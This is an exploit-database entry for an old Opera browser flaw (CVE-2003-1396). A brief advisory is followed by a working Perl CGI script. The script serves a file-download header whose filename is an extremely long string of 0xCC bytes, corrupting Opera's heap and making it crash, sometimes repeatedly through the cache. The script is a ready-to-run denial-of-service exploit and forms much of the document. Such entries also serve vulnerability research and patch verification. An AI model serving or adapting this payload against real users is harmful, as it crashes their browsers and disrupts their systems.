Opera 6.0.x/7.0 - Long File Name Remote Heap Corruption

Author: imagine & nesumin
type: dos
platform: windows
port: 
date_added: 2003-04-28 
date_updated: 2012-11-08 
verified: 1 
codes: CVE-2003-1396;OSVDB-58496 
tags: 
aliases:  
screenshot_url:  
application_url:

source: https://www.securityfocus.com/bid/7450/info

A vulnerability has been reported for Opera versions 7.10 and earlier. The problem is said to occur due to insufficient bounds checking on filename extensions. As a result, it may be possible for an attacker to corrupt heap-based memory.

Successful exploitation of this vulnerability may result in a denial of service, possibly prolonged. If a malicious filename entry were placed in a cache file, Opera may continuously crash until the cache file has been deleted.

#!/usr/bin/perl
# Smash Heap Memory.
# This script is CGI program.

$|=1;
my $filename = "." . "\xCC" x (int(rand(0x20000)) + 0x100);

print "Content-type: text/html\r\n";
print qq~Content-Disposition: filename="$filename"\r\n~;
print "\r\n";
print "<html><body>Love & Peace :)</body></html>\r\n";